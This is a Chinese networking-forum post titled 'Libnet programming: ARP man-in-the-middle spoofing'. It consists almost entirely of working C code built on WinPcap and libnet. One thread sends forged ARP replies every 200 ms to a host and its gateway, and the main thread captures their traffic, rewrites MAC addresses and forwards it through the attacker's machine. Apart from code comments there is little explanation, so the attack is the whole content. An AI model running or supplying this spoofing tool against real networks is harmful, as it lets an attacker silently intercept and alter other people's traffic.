Netexpert FAQ 网络分析专家学习建议入口 @netexpert成员申请指南
网络分析时代 netexpert积分规则的说明 Netis招贤纳士(2008年11月22日更新)
发新话题
打印

Libnet编程之arp中间人欺骗

Libnet编程之arp中间人欺骗

主线程负责抓包转发包,子线程负责向两台主机发arp欺骗包

#include <win32/libnet.h>
#pragma comment(lib, "libnet.lib")

//回调处理函数的原型//
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
//send_arp线程函数//
DWORD WINAPI send_arp(LPVOID no);

pcap_t *adhandle;
u_char packet[4056];
u_char hardware_add0[6] = ...{0x00, 0x11, 0xD8, 0x5F, 0x45, 0x4E};//源MAC地址,我的mac地址
u_char hardware_add1[6] = ...{0x00, 0x10, 0xdc, 0xe3, 0x35, 0xf9};//B机
u_char hardware_add2[6] = ...{0x00, 0x01, 0xf4, 0x1c, 0x1a, 0xdb};//网关

#pragma pack(1)//内存对齐,使内存紧凑
struct P_MAC_HEADER
...{
    u_char dmac[6];   
    u_char smac[6];
    u_short type;   
};
struct P_MAC_HEADER MacHeadr,*pMacHeadr;
#pragma pack()


main()
...{   
    HANDLE   thread[1];//建立一个线程句柄(空指针)
    DWORD    threadid;//线程ID
   
    pcap_if_t *alldevs;//接口结点指针
    pcap_if_t *d;
   
    int inum;
    int i=0;
   
    char errbuf[PCAP_ERRBUF_SIZE];
   
    pMacHeadr=&MacHeadr;
    //取得所有网卡列表//
    if(pcap_findalldevs(&alldevs, errbuf) == -1)
    ...{
        fprintf(stderr,"Error in pcap_findalldevs: %s ", errbuf);
        exit(1);
    }
   
    //输入列表//
    for(d=alldevs; d; d=d->next)
    ...{
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s) ", d->description);
        else
            printf(" (No description available) ");
    }
   
    if(i==0)//如果网卡数等于0,则输出"找不到网卡"
    ...{
        printf(" No interfaces found! Make sure WinPcap is installed. ");
        return -1;
    }
   
    /**//* 选择欲抓包网卡号*/
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
   
    if(inum < 1 || inum > i)
    ...{
        printf(" Interface number out of range. ");
        /**//* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
   
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);//进行网卡选择
   
   
    /**//* 打开一个网卡进行抓包*/
    if ((adhandle= pcap_open_live(d->name, // 网卡名字
        65536,   // 要捕获的数据包字节数
        1,    // 混杂模式为非0,非混杂为0
        1,   // read timeout
        errbuf   // error buffer
        )) == NULL)
    ...{
        fprintf(stderr," Unable to open the adapter. %s is not supported by WinPcap ", d->name);
        pcap_freealldevs(alldevs);
        return -1;
    }
   
   
    /**//* 释放网络接口列表结点链表空间*/
    pcap_freealldevs(alldevs);
   
    thread[0]=CreateThread(NULL,0,send_arp,NULL,0,&threadid);//子线程
    if(thread[0]==NULL)
    ...{
        printf("CreateThread for Tsend_arp Error: %d ",GetLastError());
        return -1;
    }
   
    /**//* 开始循环抓包,每抓一个包就用第三个参数所指的处理函数来处理*/
    pcap_loop(adhandle, 0, packet_handler, NULL);
   
    pcap_close(adhandle);
    return 0;
}
/**//* 回调处理函数*/
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
...{
   
    pMacHeadr=(struct P_MAC_HEADER *)pkt_data;
   
    if((strncmp(pMacHeadr->smac+1,hardware_add1+1,5)==0)&&(strncmp(pMacHeadr->dmac+1,hardware_add0+1,5)==0))//B向C(网关发)
    ...{    //上面加1是因为网卡地址第一个都为0
        memcpy(packet,pkt_data,header->caplen);
        memcpy(packet,hardware_add2,6);//目的mac填C(网关)
        memcpy(packet+6,hardware_add0,6);//改源mac,从我这发给C(网关)
        pcap_sendpacket(adhandle,packet,header->caplen);
        
    }
   
    if((strncmp(pMacHeadr->smac+1,hardware_add2+1,5)==0)&&(strncmp(pMacHeadr->dmac+1,hardware_add0+1,5)==0))//C(网关发)向B发
    ...{   
        
        memcpy(packet,pkt_data,header->caplen);
        memcpy(packet,hardware_add1,6);//目的mac填B
        memcpy(packet+6,hardware_add0,6);//改源mac,改成从我这发给B
        pcap_sendpacket(adhandle,packet,header->caplen);
    }
   
}
//------向两机发arp欺骗包------//
DWORD WINAPI send_arp(LPVOID no)
...{
   
    libnet_t *l;//libnet句柄
    libnet_ptag_t protocol_tag;//协议块标记
    char *device = NULL;//设备名字,此时为NULL
    char error_information[LIBNET_ERRBUF_SIZE];//用来存放错误信息   
   
    u_char hardware_source[6] = ...{0x00, 0x11, 0xD8, 0x5F, 0x45, 0x4E};//源MAC地址,我的mac地址
   
    u_long destination_ip;// 目的IP地址
    u_long source_ip;//源IP地址
    char  *source_ip_str1 ="10.10.138.20";
    char  *source_ip_str2 ="10.10.138.149";
   
    char destination_ip_str1[6];
    memset(destination_ip_str1,0,6);
   
    l = libnet_init(
        LIBNET_LINK_ADV,//libnet类型 */
        device,//网络设备
        error_information);
   
    printf(" 开始ARP欺骗:%s<========me=======>%s ",source_ip_str1,source_ip_str2);
   
    while(1)
    ...{   
        //欺骗B
        source_ip = libnet_name2addr4(l,source_ip_str1, LIBNET_RESOLVE);
        //把目的IP地址字符串形式转化成网络顺序字节形式的数据
        //u_char hardware_destination[6] ={0xff, 0xff, 0xff, 0xff, 0xff, 0xff};//目的MAC地址,可以是任意指定
        
        protocol_tag = libnet_build_arp(
            //构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记
            ARPHRD_ETHER,
            // 硬件地址类型,在这里是以太网
            ETHERTYPE_IP,
            //协议地址类型,在这里是IP协议
            6,
            //硬件地址长度,MAC地址的长度为6
            4,
            //协议地址长度,IP地址的长度为4
            ARPOP_REPLY,
            //操作类型,在这里是ARP应答类型
            hardware_source,
            //源硬件地址
            (u_int8_t*) &source_ip,
            //源IP地址
            hardware_add1,
            //目标硬件地址
            (u_int8_t*) &destination_ip,
            //目标协议地址
            NULL,
            //负载,此时为NULL
            0,
            //负载的长度,此时为0
            l,
            //libnet句柄,此句柄由libnet_init()函数生成
            0
            //协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块
            );
        
        protocol_tag = libnet_build_ethernet(
            // 构造一个以太网协议块,返回一个指向此协议块的标记
            hardware_add1,
            //目的硬件地址
            hardware_source,
            //源硬件地址
            ETHERTYPE_ARP,
            //以太网上层协议类型,此时为ARP类型
            NULL,
            0,
            l ,//libnet句柄
            0
            );
        
        libnet_write(l);//发送已经构造的ARP数据包
        
        
        Sleep(200);
        
        libnet_clear_packet(l);
        
        //欺骗C(网关)
        
        source_ip = libnet_name2addr4(l,source_ip_str2, LIBNET_RESOLVE);
        //把目的IP地址字符串形式转化成网络顺序字节形式的数据
        
        
        protocol_tag = libnet_build_arp(
            //构造ARP协议块,函数的返回值是代表新生成的ARP协议块的一个协议块标记
            ARPHRD_ETHER,
            // 硬件地址类型,在这里是以太网
            ETHERTYPE_IP,
            //协议地址类型,在这里是IP协议
            6,
            //硬件地址长度,MAC地址的长度为6
            4,
            //协议地址长度,IP地址的长度为4
            ARPOP_REPLY,
            //操作类型,在这里是ARP应答类型
            hardware_source,
            //源硬件地址
            (u_int8_t*) &source_ip,
            //源IP地址
            hardware_add2,
            //目标硬件地址
            (u_int8_t*) &destination_ip,
            //目标协议地址
            NULL,
            //负载,此时为NULL
            0,
            //负载的长度,此时为0
            l,
            //libnet句柄,此句柄由libnet_init()函数生成
            0
            //协议块标记,此时为0,表示构造一个新的ARP协议块,而不是修改已经存在的协议块
            );
        
        protocol_tag = libnet_build_ethernet(
            // 构造一个以太网协议块,返回一个指向此协议块的标记
            hardware_add2,
            //目的硬件地址
            hardware_source,
            //源硬件地址
            ETHERTYPE_ARP,
            //以太网上层协议类型,此时为ARP类型
            NULL,
            0,
            l ,//libnet句柄
            0
            );
        
        libnet_write(l);//发送已经构造的ARP数据包
        Sleep(200);
        libnet_clear_packet(l);
        
        
    }
    libnet_destroy(l);//销毁libnet
    return 0;
}


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1619905
本帖最近评分记录
  • scz 威望 +15 2007-6-4 09:23
你总是默默无语。看着你对我笑,其实我知道你也不快乐。你的眼睛,又快乐又悲哀!

TOP

发新话题
版块跳转